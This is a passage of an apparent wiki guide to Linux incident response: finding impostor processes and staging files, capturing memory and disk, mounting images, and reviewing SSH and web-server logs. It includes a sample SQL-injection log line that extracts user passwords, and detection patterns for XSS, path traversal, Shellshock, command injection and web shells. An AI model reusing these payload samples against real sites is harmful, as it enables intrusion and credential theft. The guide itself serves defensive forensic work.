* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
